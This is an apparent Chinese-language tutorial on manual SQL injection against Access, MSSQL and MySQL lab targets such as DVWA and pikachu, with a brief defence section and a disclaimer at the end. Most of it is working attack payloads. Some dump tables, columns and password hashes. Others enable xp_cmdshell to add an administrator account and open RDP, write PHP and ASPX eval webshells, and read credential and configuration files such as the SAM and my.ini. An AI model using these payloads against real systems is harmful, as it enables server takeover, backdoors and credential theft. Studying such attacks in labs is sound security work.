目录
access数据库
手工注入过程:
猜解数据库表名
猜解数据库表名里面的字段
猜解字段内容
SQL注入中的高级查询
mssql数据库
手工注入过程:
sa权限
编辑dbowner权限
public权限
mysql数据库
1、对服务器文件进行读写操作(前提条件)
需要知道远程Web目录
secure_file_priv为空:
服务器读取文件
写webshell获取权限
2、mysq数据库手工注入过程:
检查注入点
查字段
查看当前数据库用户名及版本
获取dvwa表名
获取所有user表里面的字段
获取所有字段内容;0x7c表示|符号
注入防御
1、涵数过滤
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
3、PDO预处理
access数据库
手工注入过程:
猜解数据库表名
and exists(select * from users)
--如http://10.0.0.101/custom.asp?id=1 and exists(select * from users)
--此查询尝试验证id参数是否可被用来注入SQL代码,并进一步判断数据库中是否有名为users的表。如果网页返回正常或特定的错误信息,可能表明SQL注入漏洞存在。
--如果网站直接显示一个错误页面,特别是提及SQL语法错误或表名users的信息,强烈暗示存在SQL注入漏洞。
--利用bp抓包进行数据库表名爆破(流程如下图)
加载网站用bp抓包
http://10.0.0.101/custom.asp?id=1 and exists(select * from users)
添加字典跑数据库表名
返回200状态,正常显示证明数据库有此表
猜解数据库表名里面的字段
and exists(select password from administrator)
结果:
猜解字段内容
and (select top 1 len(user_name) from administrator)>1
and (select top 1 asc(mid(user_name,1,1)) from administrator)>0
SQL注入中的高级查询
order by
--order by 8 order by 7
union select
--http://10.0.0.101/news_view.asp?id=14 union select 1,2,3,4,5,6,7 from administrator
order by 8
order by 7
union select 1,2,3,4,5,6,7 from administrator
显示2 ,3,5,7;说明2,3,5,7可执行可读写
说明:
替换的内容
2:user_name --输出admin
3:password --输出21232f297a57a5a743894a0e4a801fc3
5:id --输出1
7:now --输出2024-5-3 18:22:54
union select 1,user_name,password,4,id,6,now from administrator
-
偏移注入
-
跨库查询
mssql数据库
手工注入过程:
sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1
--1.aspx则是一个具体的ASP.NET页面文件
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1'--测试是否有注入点
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and exists (select * from%20sysobjects)
--注入尝试:?xxser=1 and exists (select * from%20sysobjects) 部分是在原有查询参数xxser的值后面添加了SQL代码,试图探测数据库中是否存在特定的对象。这里使用了exists子句和sysobjects表。sysobjects是SQL Server中的一个系统表,包含了数据库中所有对象(如表、视图、存储过程等)的信息。通过检查sysobjects表中的记录是否存在,攻击者可以间接判断SQL注入是否成功以及数据库中是否有特定的表或对象。
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and system_user=0
--查询当前数据库系统的用户名
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select IS_SRVROLEMEMBER('sysadmin'))
--检查注入点是否为sa权限
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1 and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
--判断一下xp_cmdshell存储过程是否存在
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
--恢复(启用)SQL Server中的xp_cmdshell扩展存储过程的正确方法
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net user test test /add'
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master..xp_cmdshell 'net localgroup administrators test /add'
--添加账户
http://10.0.0.101:84/sqlserver/1.aspx?xxser=1;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
--开启3389端口
远程连接10.0.0.101主机输入账户test密码test登陆;建立远程连接。
检查是否是mssql数据库:未报错,是mssql数据库
and exists (select * from sysobjects)
第二步:查询当前数据库系统的用户名
and system_user=0
第三步:检查注入点是否为sa权限:存在
and 1=(select IS_SRVROLEMEMBER('sysadmin'))
第四步:判断一下xp_cmdshell存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name ='xp_cmdshell')
恢复xp_cmdshell可以用
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
第五步:添加帐号
;exec master..xp_cmdshell 'net user test test /add'
这个命令使用net user
命令在Windows操作系统中创建一个新的用户账户,名为test
,密码也为test
。/add
参数指示要添加新用户。
;exec master..xp_cmdshell 'net localgroup administrators test /add'
这个命令使用net localgroup
命令将刚刚创建的test
用户添加到administrators
本地管理员组中,这意味着test
用户现在拥有管理员权限,可以对系统执行几乎所有的操作
第六步:开3389端口(远程连接端口)
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
输入网站的主机ip地址;输入【账户test 密码test】建立远程连接
dbowner权限
第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));--
--判断当前数据库用户是否为db_owner权限
第二步:找出网站路径
1、通过报错或baidu、google等查找
--如单引号(')、-1、and 1=2 ;google搜索site:oldboyedu.com intext error
2、通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
第三步:写入一句话木马获取webshell
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
方法二:差异备份
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
第一步:查看当前网站是否为db_owner权限
and 1=(SELECT IS_MEMBER('db_owner'));--
第二步:找出网站路径
1、方法一:通过报错单引号(')或google查找
2、方法二:通过相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--
insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=1)>0--
阅览器版本高执行失败:
尝试id=1
尝试出id=4显示出路径(and (select result from black where id=4)>0--)
第三步:写入一句话木马获取webshell
方法一:
%20;exec%20master..xp_cmdshell%20'Echo%20"<%@ Page Language="Jscript"%><%eval(Request.Item["123"],"unsafe");%>"%20>>%20c:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\sqlserver\muma.aspx'--
利用中国菜刀(音速软件-webshell-中国菜刀-中国菜刀.exe)远程连接web主机
方法二差异备份:
音速软件-注入检测-GetWebShell增强版.exe
一句话木马已生成完成
用中国菜刀可以远程连接
public权限
第一步:获取当前网站数据库名称
and db_name()=0--
第二步:获取mssql所有数据库名和路径
%20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)--
第三步:获取当前数据库所有表名
and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))--
第四步:爆表名及字段名
having 1=1--
group by admin.id having 1=1--
group by admin.id,admin.name having 1=1--
第五步:获取字段内容
/**/and/**/(select/**/top/**/1/**/isnull(cast([id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000)),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id))%3E0/**/and/**/1=1
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\1111\wwwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple
having 1=1 获取第一个字段
group by admin.id having 1=1-- 获取第二个字段(带入获取的第一个字段)
group by admin.id,admin.name having 1=1-- 获取第三个字段
获取数据
mysql数据库
1、对服务器文件进行读写操作(前提条件)
需要知道远程Web目录
需要mysql root权限
需要远程目录有写权限
需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)
需要知道远程Web目录
报错法:' and 1=1 and 1=2
google命令搜索
网站用阅览器查看源代码,查看是否有路径
读中间件的配置文件
%27%20union%20select%201,load_file(0x433A5C5C57494E444F57535C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C)+--+&Submit=Submit 路径记得转化为十六进制
常见WINDOWS下配置文件:
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
d:\APACHE\Apache2\conf\httpd.conf
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
单引号报错法
右击查看源代码可能存在网站物理路径泄露
百度或google输入:site:xxx.com intext:error
secure_file_priv为空:
服务器读取文件
' union%20select%201,load_file('c:\\boot.ini')+--+&Submit=Submit
写webshell获取权限
' union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
菜刀连接:
连接成功。
2、mysql数据库手工注入过程:
' 与and 1=1 and 1=2
--检查注入点
' order by 1,2--+&Submit=Submit#
--检查字段
' union select user(),version()--+&Submit=Submit#
--查看数据库用户名和版本、库名(dvwa)
'union select 1,group_concat(schema_name) from information_schema.schemata+--+&Submit=Submit
--获取mysql所有库
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&Submit=Submit
--获取dwva表名
guestbook,users
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+&Submit=Submit
table_name=0x7573657273不转成十六进制也可以table_name="users"
--获取所有user表里面的字段
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
--获取所有字段内容;0x7c表示|符号
检查注入点
pikachu先切换成low级
’或and 1=1 and 1=2
查字段
' order by 1,2
查看当前数据库用户名及版本
也可以使用database()查看当前库
' union select user(),version()--+
'union select 1,group_concat(schema_name) from information_schema.schemata+--+
获取dvwa表名
'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+
获取所有user表里面的字段
'union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+--+
获取所有字段内容;0x7c表示|符号
'union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) from users+--+&Submit=Submit
输出结果:
1|admin|admin|admin|5f4dcc3b5aa765d61d8327deb882cf99|/hackable/users/admin.jpg|,2|Gordon|Brown|gordonb|e99a18c428cb38d5f260853678922e03|/hackable/users/gordonb.jpg|,3|Hack|Me|1337|8d3533d75ae2c3966d7e0d4fcc69216b|/hackable/users/1337.jpg|,4|Pablo|Picasso|pablo|0d107d09f5bbe40cade3de5c71e9e9b7|/hackable/users/pablo.jpg|,5|Bob|Smith|smithy|5
注入防御
1、涵数过滤
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
3、PDO预处理
从PHP 5.1开始,php可以通过PDO的prepare预处理函数执行sql语句,详细代码参考:http://www.php.cn/course/868.html
声明:
- 此文章只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试留言私信,如有侵权请联系小编处理。